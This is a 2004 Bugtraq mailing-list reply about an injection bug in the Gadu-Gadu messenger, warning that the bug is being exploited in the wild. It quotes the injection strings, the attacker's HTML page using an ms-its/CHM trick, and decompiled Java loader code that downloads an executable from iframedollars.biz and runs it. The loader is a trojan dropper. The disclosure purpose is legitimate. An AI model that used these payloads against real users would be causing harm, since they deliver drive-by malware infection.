bugtraq - Re: Gadu-Gadu, another two bugs

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Date: Mon, 20 Dec 2004 18:20:37 +0100
From: Przemyslaw Frasunek <venglin@...ebsd.lublin.pl>
To: Jaroslaw Sajko <sloik@....poznan.pl>
Cc: bugtraq@...urityfocus.com, incidents@...urityfocus.com,
        full-disclosure@...ts.netsys.com
Subject: Re: Gadu-Gadu, another two bugs


Jaroslaw Sajko wrote:
> Send such a string to any receipent:
> www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl

Beware, this bug is being already exploited in the wild. I have just received 
the following message from WWW to GG gateway (gg# 7021349):

www.po"style=background-image:url(javascript:window.open('http://iframedollars.biz/dl/adv407.php','','left=10000'));".pl

The adv407.php file contains the following HTML code:

[html][head]
[/head][body]
[textarea id="cxw" style="display:none;"]
     [object data="${PR}" type="text/x-scriptlet"][/object]
[/textarea]

[script language="javascript"]
document.write(cxw.value.replace(/\${PR}/g,'&#109;s-its:mhtml:file://c:\\nosuch.mht!http://iframedollars.biz/dl/adv407/x.chm::/x.htm'));
[/script]
[applet width=1 height=1 ARCHIVE=loaderadv407.jar 
code=Counter][/APPLET][/body][/html]

After downloading and decompiling loaderadv407.jar I noticed, that it does:

URL url1 = new URL("http://iframedollars.biz/dl/loadadv407.exe");
URLConnection urlconnection = url1.openConnection();
[...]
FileOutputStream fileoutputstream = new FileOutputStream(s4 + "\\loadnew.exe");
[...]
as[0] = s4 + "\\loadnew.exe";
Process process = Runtime.getRuntime().exec(as);

Clamav recognizes this binary as Trojan.Qhost.O.

-- 
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